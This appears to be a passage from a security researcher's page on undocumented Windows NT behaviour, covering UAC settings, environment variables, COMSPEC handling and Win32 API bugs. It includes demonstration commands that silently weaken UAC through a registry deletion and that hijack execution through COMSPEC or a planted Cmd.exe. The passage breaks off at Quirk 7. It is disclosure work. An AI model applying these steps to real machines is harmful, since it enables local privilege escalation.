Valid HTML 4.01 Transitional Valid CSS Valid SVG 1.0

Me, myself & IT

Odd, Surprising, Un(der)documented or Weird (Mis)behaviour of Microsoft® Windows® NT

Purpose
Quirk № 1
Demonstration
Background Information
Quirk № 2
Background Information
Demonstration
Remediation
Quirk № 3
Demonstration
Quirk № 4
Demonstration
Security Impact
MSRC Case 59749
Quirk № 5
Demonstration
Quirk № 6
Demonstration
Quirk № 7
Demonstration
Quirk № 8
Demonstration
Quirk № 9
Demonstration
Quirk № 10
Demonstration
Quirk № 11
Demonstration
Quirk № 12
Demonstration
Quirk № 13
Demonstration
Security Impact
Exploit
Mitigation
MSRC Case 64465
Quirk № 14
Demonstration
Quirk № 15
Demonstration
Quirk № 16
Demonstration
Security Impact
MSRC Case 65060
Quirk № 17
Demonstration
Quirk № 18
Demonstration
Quirk № 19
Demonstration
Quirk № 20
Demonstration
Trivia

Purpose

Show interfaces, functions and components of Microsoft Windows NT which exhibit odd, surprising, undocumented or weird (mis)behaviour.

Quirk № 1

User Account Protection was the preliminary name for a core security component of Windows Vista. The component has now been officially named User Account Control (UAC).
[Screen shot of default 'User Account Control Settings' from Windows 7] Windows Vista® introduced the security feature (really: security theatre) User Account Control: programs which want to be run with administrative privileges and access rights need to ask the user for consent.

This made some (really: a minority of) users quite angry: although these (rather braindead) users continued to abuse the (privileged) protected administrator account created during Windows Setup for their daily work (instead to follow best practise and use an unprivileged limited alias standard user account), they had to answer a prompt whenever they wanted to perform an administrative task.
Unfortunately Microsoft heard these users and weakened the security feature: Windows 7 introduced auto-elevation and enabled it for some 55 programs shipped with Windows 7 and later versions, which don’t prompt for consent any more.

Due to flaws in the design and deficiencies in the implementation of User Account Control, it can be bypassed trivially in numerous ways with its auto-elevation (mis)feature enabled. As result, arbitrary programs can then be run with administrative privileges and access rights without prompting the user for consent.
To defeat these trivial bypasses, auto-elevation must be disabled by moving the slider of the User Account Control setting to its highest position titled Always notify, as documented and shown in the MSKB articles 975787 and 4462938.

The slider position shown by the graphical user interface but does not always match the effective setting: it shows Always notify even if the default setting Notify me only when programs try to make changes to my computer is configured!

Demonstration

[Screen shot of 'Group Policy Object Editor' from Windows 7] On default installations of Windows 7 or newer versions of Windows NT perform the following 9 simple steps.
  1. Log on to the user protected administrator account created during Windows Setup.

  2. Start one of the programs which have auto-elevation enabled, for example NetPlWiz.exe, PrintUI.exe or WUSA.exe: they start without to prompt for consent.

  3. Open Control Panel, then User Accounts and click Change User Account Control setting: move the slider to its highest position titled Always notify and click the OK button to apply the changed setting.

  4. Run the command line "%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\GPEdit.msc" to start the Local Group Policy Editor snap-in of the Microsoft Management Console, or run the command line "%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\SecPol.msc" to start the Local Security Policy snap-in, answer the prompt for consent, then open the Local Policies folder and the Security Options subfolder below it: the policy User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode is shown as Prompt for consent on the secure desktop, properly matching the setting changed in step 3.

  5. Repeat step 2.: the auto-elevating programs prompt for consent now.

  6. Start RegEdit.exe, answer the prompt for consent, then open the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System and delete the DWORD registry entry ConsentPromptBehaviorAdmin present there.

  7. Repeat step 4.: the policy User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode is now properly shown as Not Defined.

  8. Open Control Panel, then User Accounts and click Change User Account Control setting: the slider is still shown in its highest position Always notify.

  9. Repeat step 2.: despite the unchanged slider position Always notify the auto-elevating programs don’t prompt for consent any more!

OUCH: the slider is supposed to access and manage a setting, but abuses a registry entry reserved for a policy instead, it misinterprets the default policy value Not Defined and violates the now 25 year old Designed for Windows guidelines!

Background Information

Windows NT supports the following evaluation order or hierarchy and rules for program defaults, settings and policies:
  1. hard-coded program defaults are in effect only when neither a setting nor a policy is present;
  2. user-specific settings are stored in the user’s registry, either as
    [HKEY_CURRENT_USER\Software\‹company name›\‹program name›]
    "‹setting›"=…
    or as
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\‹program name›]
    "‹setting›"=…
  3. user-specific policies are stored in the user’s registry, either as
    [HKEY_CURRENT_USER\Software\Policies\‹company name›\‹program name›]
    "‹policy›"=…
    or as
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\‹program name›]
    "‹policy›"=…
  4. system-wide settings are stored in the machine’s registry, either as
    [HKEY_LOCAL_MACHINE\SOFTWARE\‹company name›\‹program name›]
    "‹setting›"=…
    or as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\‹program name›]
    "‹setting›"=…
  5. system-wide policies are stored in the machine’s registry, either as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\‹company name›\‹program name›]
    "‹policy›"=…
    or as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\‹program name›]
    "‹policy›"=…
  6. user-specific settings and policies take precedence over system-wide settings and policies;
  7. policies override settings;
  8. when a policy is present for a setting, the (graphical) user interface shows the resulting effective setting, but restricts any change to it, and optionally shows a text that indicates the presence of a (overriding) policy as reason for this restriction;
  9. policies are reserved for use by the (local) administrator, they MUST NOT be set by any other party, and can not be set by (unprivileged) users due to the access control lists of the policies’ registry keys!

Quirk № 2

The MSDN articles Environment Variables and User Environment Variables specify how environment variables are processed:
Every process has an environment block that contains a set of environment variables and their values. There are two types of environment variables: user environment variables (set for each user) and system environment variables (set for everyone).

By default, a child process inherits the environment variables of its parent process. […]

[…] To programmatically add or modify system environment variables, add them to the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment registry key, […]

Environment variables specify search paths for files, directories for temporary files, application-specific options, and other similar information. The system maintains an environment block for each user and one for the computer. The system environment block represents environment variables for all users of the particular computer. A user's environment block represents the environment variables the system maintains for that particular user, including the set of system environment variables.

By default, each process receives a copy of the environment block for its parent process. Typically, this is the environment block for the user who is logged on. […]

Both articles but fail to tell that two kinds of user environment variables exist, permanent and volatile, that volatile environment variables obscure permanent environment variables with the same name, how to add or modify them, and where they are stored: permanent user environment variables are stored in the registry key HKEY_CURRENT_USER\Environment alias HKEY_USERS\‹security identifier›\Environment, while volatile user environment variables are stored in the (volatile) registry key HKEY_CURRENT_USER\Volatile Environment alias HKEY_USERS\‹security identifier›\Volatile Environment, where they are created during user logon and discarded when the user logs off.

The articles also fail to tell that not all system environment variables are stored in the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment: the system environment variables ALLUSERSPROFILE, COMPUTERNAME, PUBLIC, CommonProgramFiles, CommonProgramFiles(x86), CommonProgramW6432, ProgramData, ProgramFiles, ProgramFiles(x86), ProgramW6432, SystemDrive and SystemRoot are created programmatically.

And they fail to tell that user environment variables obscure system environment variables of the same name – with but two notable exceptions:

Thanks to the braindead (mis)behaviour listed last, privileged processes running under the user account NT AUTHORITY\SYSTEM alias LocalSystem use the unsafe user-writable directory %SystemRoot%\Temp\ instead of their private and safe directory %USERPROFILE%\AppData\Local\Temp\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\, allowing unprivileged users to tamper with (executable) files created there by these privileged processes, eventually resulting in local escalation of privilege.

Note: see the Security Advisory ADV170017 for just one example of such a vulnerability.

Background Information

Windows 2000 relocated all user profiles from their previous directories %SystemRoot%\Profiles\%USERNAME%\ into new directories %SystemDrive%\Documents and Settings\%USERNAME%\.
It also introduced the user profile for the (privileged) user account NT AUTHORITY\SYSTEM alias LocalSystem in the new directory %SystemRoot%\System32\Config\SystemProfile\.

Note: its location was a rather braindead choice, as it is subject to file system redirection on 64-bit editions of Windows NT, where two separate directories %SystemRoot%\System32\Config\SystemProfile\ and %SystemRoot%\SysWoW64\Config\SystemProfile\ exist!

The world-writable Temp directory %SystemRoot%\Temp\, shared by all users in previous versions of Windows NT, was replaced with separate private Temp directories %USERPROFILE%\Local Settings\Temp\ alias %SystemDrive%\Documents and Settings\%USERNAME%\Local Settings\Temp\ located within the user profiles – except for the LocalSystem user account, which continued (and still continues) to use the (still world-writable) directory %SystemRoot%\Temp\!

Windows XP added the (unprivileged) user accounts NT AUTHORITY\LOCAL SERVICE alias LocalService and NT AUTHORITY\NETWORK SERVICE alias NetworkService, placed their user profiles in the directories %SystemDrive%\Documents and Settings\LocalService\ and %SystemDrive%\Documents and Settings\NetworkService\, set their user environment variables TEMP and TMP to %USERPROFILE%\Local Settings\Temp, and created a private Temp directory within both user profiles.

Windows Vista relocated these two service profiles to the new directories %SystemRoot%\ServiceProfiles\LocalService\ and %SystemRoot%\ServiceProfiles\NetworkService\, relocated all normal user profiles %SystemDrive%\Documents and Settings\%USERNAME%\ to the directories %SystemDrive%\Users\%USERNAME%\, and kept the profile %SystemRoot%\System32\Config\SystemProfile\.
All user accounts except LocalSystem kept their private Temp directory, now %USERPROFILE%\AppData\Local\Temp\ alias %SystemDrive%\Users\%USERNAME%\AppData\Local\Temp\ for the normal user accounts and %SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Temp\ respectively %SystemRoot%\ServiceProfiles\NetworkService\AppData\Local\Temp\ for the service user accounts.

At least since Windows 7 the user environment variables TEMP and TMP are set in the LocalSystem user account too, despite the directory %USERPROFILE%\AppData\Local\Temp\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\ is missing in its user profile!

The MSDN article Profiles Directory provides additional information.

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk2.vbs with the following content in an arbitrary directory:

    ' Copyright © 1999-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    Option Explicit
    
    With WScript.CreateObject("WScript.Shell")
        WScript.Echo "Environment Variables"
    
        Dim strScope
        For Each strScope In Array("PROCESS", "SYSTEM", "USER", "VOLATILE")
            WScript.Echo
            WScript.Echo "Scope '" & strScope & "': " & .Environment(strScope).Count & " items"
    
            Dim strItem
            For Each strItem In .Environment(strScope)
                WScript.Echo vbTab & strItem
            Next
        Next
    End With
  2. Execute the VBScript quirk2.vbs created in step 1. under the LocalSystem user account to list the environment variables of all scopes:

    CSCRIPT.EXE quirk2.vbs
    Microsoft (R) Windows Script Host, Version 5.812
    Copyright (C) Microsoft Corporation. All rights reserved.
    
    Environment Variables
    
    Scope 'PROCESS': 36 items
    	=C:=C:\Windows\System32
    	=ExitCode=00000000
    	ALLUSERSPROFILE=C:\ProgramData
    	APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
    	CommonProgramFiles=C:\Program Files\Common Files
    	CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    	CommonProgramW6432=C:\Program Files\Common Files
    	COMPUTERNAME=AMNESIAC
    	ComSpec=C:\Windows\system32\cmd.exe
    	DriverData=C:\Windows\System32\Drivers\DriverData
    	HOMEDRIVE=C:
    	HOMEPATH=\Windows\system32
    	LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
    	NUMBER_OF_PROCESSORS=2
    	OS=Windows_NT
    	Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
    	PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    	PROCESSOR_ARCHITECTURE=AMD64
    	PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
    	PROCESSOR_LEVEL=6
    	PROCESSOR_REVISION=170a
    	ProgramData=C:\ProgramData
    	ProgramFiles=C:\Program Files
    	ProgramFiles(x86)=C:\Program Files (x86)
    	ProgramW6432=C:\Program Files
    	PROMPT=$P$G
    	PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
    	PUBLIC=C:\Users\Public
    	SystemDrive=C:
    	SystemRoot=C:\Windows
    	TEMP=C:\Windows\TEMP
    	TMP=C:\Windows\TEMP
    	USERDOMAIN=KANTHAK
    	USERNAME=System
    	USERPROFILE=C:\Windows\system32\config\systemprofile
    	windir=C:\Windows
    
    Scope 'SYSTEM': 15 items
    	ComSpec=%SystemRoot%\system32\cmd.exe
    	DriverData=C:\Windows\System32\Drivers\DriverData
    	OS=Windows_NT
    	Path=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
    	PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    	PSModulePath=%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\
    	TEMP=%SystemRoot%\TEMP
    	TMP=%SystemRoot%\TEMP
    	USERNAME=SYSTEM
    	windir=%SystemRoot%
    	NUMBER_OF_PROCESSORS=2
    	PROCESSOR_ARCHITECTURE=AMD64
    	PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
    	PROCESSOR_LEVEL=6
    	PROCESSOR_REVISION=170a
    
    Scope 'USER': 3 items
    	PATH=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
    	TEMP=%USERPROFILE%\AppData\Local\Temp
    	TMP=%USERPROFILE%\AppData\Local\Temp
    
    Scope 'VOLATILE': 0 items
    Oops: although the user environment variables TEMP and TMP exist, the process environment variables TEMP and TMP were set from the system environment variables!
  3. Start the Command Processor under the LocalSystem user account, then list all environment variables and (the contents of) the directory %LOCALAPPDATA%\ alias %USERPROFILE%\AppData\Local\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\ to determine whether a subdirectory Temp\ exists there:

    SET
    DIR "%LOCALAPPDATA%" /A
    ALLUSERSPROFILE=C:\ProgramData
    APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
    CommonProgramFiles=C:\Program Files\Common Files
    CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    CommonProgramW6432=C:\Program Files\Common Files
    COMPUTERNAME=AMNESIAC
    ComSpec=C:\Windows\system32\cmd.exe
    DriverData=C:\Windows\System32\Drivers\DriverData
    HOMEDRIVE=C:
    HOMEPATH=\Windows\system32
    LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
    NUMBER_OF_PROCESSORS=2
    OS=Windows_NT
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=170a
    ProgramData=C:\ProgramData
    ProgramFiles=C:\Program Files
    ProgramFiles(x86)=C:\Program Files (x86)
    ProgramW6432=C:\Program Files
    PROMPT=$P$G
    PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
    PUBLIC=C:\Users\Public
    SystemDrive=C:
    SystemRoot=C:\Windows
    TEMP=C:\Windows\TEMP
    TMP=C:\Windows\TEMP
    USERDOMAIN=KANTHAK
    USERNAME=System
    USERPROFILE=C:\Windows\system32\config\systemprofile
    windir=C:\Windows
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\system32\config\systemprofile\AppData\Local
    
    04/27/2021   8:15 PM <DIR>             .
    04/27/2021   8:15 PM <DIR>             ..
    04/27/2021   8:15 PM <DIR>             Microsoft
                   0 File(s)              0 bytes
                   3 Dir(s)     987,654,321 bytes free
    Oops: a subdirectory Temp\ does not exist!
  4. Query the registry keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment, HKEY_USERS\S-1-5-18\Environment and HKEY_USERS\S-1-5-18\Volatile Environment to list the environment variables stored in the registry:

    REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
    REG.EXE QUERY "HKEY_USERS\S-1-5-18\Environment"
    REG.EXE QUERY "HKEY_USERS\S-1-5-18\Volatile Environment"
    Note: the MSKB article 243300 gives the well-known SID S-1-5-18 for the NT AUTHORITY\SYSTEM alias LocalSystem user account.
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
        ComSpec    REG_EXPAND_SZ    %SystemRoot%\system32\cmd.exe
        DriverData    REG_SZ    C:\Windows\System32\Drivers\DriverData
        NUMBER_OF_PROCESSORS    REG_SZ    2
        OS    REG_SZ    Windows_NT
        Path    REG_EXPAND_SZ    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
        PATHEXT    REG_SZ    .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
        PROCESSOR_ARCHITECTURE    REG_SZ    AMD64
        PROCESSOR_IDENTIFIER    REG_SZ    Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
        PROCESSOR_LEVEL    REG_SZ    6
        PROCESSOR_REVISION    REG_SZ    170a
        PSModulePath    REG_EXPAND_SZ    %ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules
        TEMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
        TMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
        USERNAME    REG_SZ    SYSTEM
        windir    REG_EXPAND_SZ    %SystemRoot%
    
    HKEY_USERS\S-1-5-18\Environment
        Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
        TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
        TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    
    ERROR: The specified registry key or value was not found.
  5. For comparision query the registry keys HKEY_CURRENT_USER\Environment and HKEY_CURRENT_USER\Volatile Environment of a standard user account:

    REG.EXE QUERY "HKEY_CURRENT_USER\Environment"
    REG.EXE QUERY "HKEY_CURRENT_USER\Volatile Environment" /S
    HKEY_CURRENT_USER\Environment
        Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
        TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
        TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    
    HKEY_CURRENT_USER\Volatile Environment
        LOGONSERVER    REG_SZ    \\AMNESIAC
        USERDOMAIN    REG_SZ    AMNESIAC
        USERNAME    REG_SZ    Stefan
        USERPROFILE    REG_SZ    C:\Users\Stefan
        HOMEPATH    REG_SZ    \Users\Stefan
        HOMEDRIVE    REG_SZ    C:
        APPDATA    REG_SZ    C:\Users\Stefan\AppData\Roaming
        LOCALAPPDATA    REG_SZ    C:\Users\Stefan\AppData\Local
        USERDOMAIN_ROAMINGPROFILE    REG_SZ    AMNESIAC
    
    HKEY_CURRENT_USER\Volatile Environment\1
        SESSIONNAME    REG_SZ    Console
        CLIENTNAME    REG_SZ    

Remediation

Create the missing directory %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\, then start the program SystemPropertiesAdvanced.exe, click the button Environment Variables, replace the value %SystemRoot%\TEMP of the system environment variables TEMP and TMP with %USERPROFILE%\AppData\Local\Temp, save the changed settings and reboot the system.

Quirk № 3

Multiple undocumented dependencies on environment variables … … …

Note: a proper implementation calls functions like GetSystemDirectory(), GetSystemWow64Directory(), GetWindowsDirectory(), SHGetFolderPath() and SHGetKnownFolderPath() to determine (system) paths instead to evaluate (user-controlled) environment variables!

Demonstration

Start the Command Processor, then run the following command lines to remove all environment variables and (attempt to) execute the applications Write.exe, RegEdit.exe, NotePad.exe, Explorer.exe as well as IExplore.exe and WordPad.exe afterwards:
REM Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%SystemRoot%"
FOR /F "Delims==" %? IN ('SET') DO @SET %?=
DIR Explorer.exe NotePad.exe RegEdit.exe Write.exe Win.ini /B
Write.exe
RegEdit.exe /M
NotePad.exe /P Win.ini
Explorer.exe /E,/Separate,.
START IExplore.exe
START WordPad.exe
Note: the command lines can be copied and pasted as block into a Command Processor window! [Screen shot of error message from 'WordPad' on Windows 7]
explorer.exe
notepad.exe
regedit.exe
write.exe
win.ini

Quirk № 4

The documentation for the builtin For command of the Command Processor states:
The documentation for the builtin Start command of the Command Processor states:

Demonstration

Start the Command Processor, then run the following command lines to prove the documentation cited above wrong, and also show some undocumented (mis)behaviour:
REM Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
PUSHD "%SystemRoot%"
FOR /F "Delims==" %? IN ('SET') DO @SET %?=
START /B CMD /C SET
SET COMSPEC=%CD%\System32\Reg.exe
POPD
COPY NUL: Cmd.exe
FOR /F "Delims=" %? IN ('PAUSE') DO ECHO %?
FOR /F "Delims= UseBackQ" %? IN (`PAUSE`) DO ECHO %?
START CMD /C PAUSE
START /B ECHO
ASSOC | BREAK
FTYPE | SHIFT
SET | Cmd.exe
ERASE Cmd.exe
Note: the command lines can be copied and pasted as block into a Command Processor window!
COMSPEC=C:\Windows\System32\cmd.exe
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
PROMPT=$P$G

        1 file(s) copied.

Press any key . . .

Access Denied

Access Denied

ERROR: Invalid Argument/Option - '/c'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - '/K'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.
ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.
ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.
Access Denied
OUCH¹: contrary to its documentation cited above, FOR /F … IN ('…') DO … as well as FOR /F "UseBackQ" … IN (`…`) DO … executes the application determined by the value of the environment variable COMSPEC (else the current process’ image) instead of Cmd.exe as child process.

OUCH²: contrary to its documentation cited above, START CMD … does not evaluate the environment variable COMSPEC, but executes an arbitrary Cmd.exe that eventually exists in the CWD, else the current process᾿ image!

OUCH³: when run in a pipeline, builtin commands are executed in a child process determined by the value of the environment variable COMSPEC.

Note: the Command Processor sets the environment variables COMSPEC, PATHEXT and PROMPT if these are not provided by its caller.

Security Impact

The (unintended) execution of a (rogue) application determined by a (user-controlled) environment variable like COMSPEC is a well-known weakness, documented as CWE-73: External Control of File Name or Path in the CWE, allowing well-known attacks like CAPEC-13: Subverting Environment Variable Values documented in the CAPEC.

The (unintended) execution of (a rogue) Cmd.exe from the CWD constitutes a security vulnerability, similar to CVE-2014-0315 alias MS14-019 I discovered about 6 years ago, which was fixed with security update 2922229 back then.

Note: the post MS14-019 – Fixing a binary hijacking via .cmd or .bat file on Microsoft’s Security Research and Defense Blog provides additional information.

The well-known underlying weakness is documented as CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element, the well-known attack is documented as CAPEC-471: Search Order Hijacking.

MSRC Case 59749

Due its security impact I reported this bug to the MSRC, where case number 59749 was assigned.

They replied with the following statements:

The engineering team has looked over the issue and has stated that this appears to be a documentation error and has been handed over to the team owning that site. In this case this does not appear to be a vulnerability and we will be closing it out on our side. The method of using this information in an attack would require a remote attacker to find malicious program that uses the START cmd and trick the user to trigger this program as a minimum.
OUCH: it appears to me that the engineering team is wrong; I recommend to have them read (and understand) especially the (end of the) chapter titled Current Working Directory (CWD) DLL planting of the blog post Triaging a DLL planting vulnerability and recognise the similarity:
A DLL planting issue that falls into this category of CWD DLL planting is treated as an Important severity issue and we will issue a security patch for this.

Quirk № 5

The documentation for the builtin Call command of the Command Processor states:
Calls one batch program from another without stopping the parent batch program. The call command accepts labels as the target of the call.

Note

Call has no effect at the command prompt when it is used outside of a script or batch file.

Demonstration

Start the Command Processor, then run the following command lines to prove the documentation cited above wrong, and again show undocumented (mis)behaviour:
REM Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CALL Reg(Dummy
CALL Reg,Dummy
CALL Reg;Dummy
CALL Reg=Dummy
FOR %? IN (First,Second;Third=Fourth) DO @ECHO %?
Note: the command lines can be copied and pasted as block into a Command Processor window!
ERROR: Invalid Argument/Option - '(Dummy'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - ',Dummy'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - ';Dummy'.
Type "REG /?" for usage.

ERROR: Invalid Argument/Option - '=Dummy'.
Type "REG /?" for usage.

First
Second
Third
Fourth
OUCH¹: the Command Processor mistreats valid filenames containing an opening parenthesis '(', a comma ',', a semicolon ';' or an equals sign '=', and interprets these characters as separator!

OUCH²: contrary to its documentation cited above, CALL does not just call batch scripts and has effect at the command prompt.

OUCH³: in builtin commands, the Command Processor mistreats comma, semicolon and equals sign almost always as delimiter or separator, and sometimes like white space.

Quirk № 6

The Win32 function GetDllDirectory() is documented in the MSDN as follows:
DWORD GetDllDirectory(
  DWORD  nBufferLength,
  LPTSTR lpBuffer
);
[…]

If the function succeeds, the return value is the length of the string copied to lpBuffer, in characters, not including the terminating null character. If the return value is greater than nBufferLength, it specifies the size of the buffer required for the path.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Note: designed and implemented properly, this function would return the value of nBufferLength for failure, supporting successful retrieval of empty strings!

In addition to the quirk bug demonstrated below, the documentation fails to tell that lpBuffer can be 0 alias NULL if nBufferLength is 0.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk6.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2021, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwCount;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwBuffer = GetDllDirectory(0, szBuffer);
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetDllDirectory(0, 0x%p) returned error %lu\n",
    			             szBuffer, dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"GetDllDirectory(0, 0x%p) returned buffer size %lu\n",
    			             szBuffer, dwBuffer);
    
    			SetLastError('FAIL');
    
    			dwCount = GetDllDirectory(dwBuffer, szBuffer);
    
    			if (dwCount == 0)
    				PrintConsole(hConsole,
    				             L"GetDllDirectory(%lu, 0x%p) returned error %lu\n",
    				             dwBuffer, szBuffer, dwError = GetLastError());
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk6.exe from the source file quirk6.c created in step 1.:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk6.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk6.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk6.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk6.exe
    quirk6.obj
  3. Execute the console application quirk6.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk6.exe
    SET /A 0x4641494C
    GetDllDirectory(0, 0x003EF948) returned buffer size 1
    GetDllDirectory(1, 0x003EF948) returned error 1178683724
    1178683724
    OUCH: when no application-specific DLL search path is set, the Win32 function GetDllDirectory() returns 0, but fails to (re)set the Win32 error 0 alias ERROR_SUCCESS to indicate no error!
Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 7

The Win32 function GetEnvironmentVariable() is documented in the MSDN as follows:
DWORD GetEnvironmentVariable(
